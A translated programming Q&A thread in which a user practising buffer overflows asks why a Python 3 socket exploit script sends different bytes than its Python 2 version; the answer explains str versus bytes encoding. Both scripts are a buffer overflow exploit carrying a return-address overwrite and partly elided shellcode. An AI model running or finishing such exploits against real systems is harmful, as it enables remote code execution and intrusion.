Python3和Python2之间的区别-socket.send数据

user1641071 发表于 Dev

用户名

我正在练习一些缓冲区溢出技术，但在发送已存储的数据时遇到了一个奇怪的问题。

我有这两个几乎完全相同的代码，除了在Python3代码中，我更改了sock.send以对字符串进行编码（在Python2中，您不需要这样做）

Python2代码：

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3代码：

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送缓冲区，然后使用抗扰度调试器检查EIP / SEP值，然后发现在Python2代码和Python3代码之间得到的值不同。那怎么可能？

两者的缓冲区相同，因此调试器中的EIP / SEP应该相同。

换句话说，从服务器的角度来看（获取套接字数据）看起来它获取了不同的数据结构或类似的东西。

有任何想法吗？

谢谢。

贡卡洛普

您的服务器和调试器是正确的-缓冲区的内容是不一样的。

在python 2和python 3中，如果您编写buffer = "A"*268，则缓冲区的类型为str。但是，这两个版本中str表示的内容完全不同。

在python 2中，astr实际上是字节数组。在python 3中，它是人类可读字符的序列，而不是字节（在python 2中称为“ unicode字符串”）

如果进一步.encode()，您将使用来将字符序列转换为字节序列utf-8。可以这么说，这“改变了字符串的内容”

您可能想做的是buffer = b"A"*268使用bytes而不是str。你需要通过前缀所有的连接字节序列b，也

本文收集自互联网，转载请注明来源。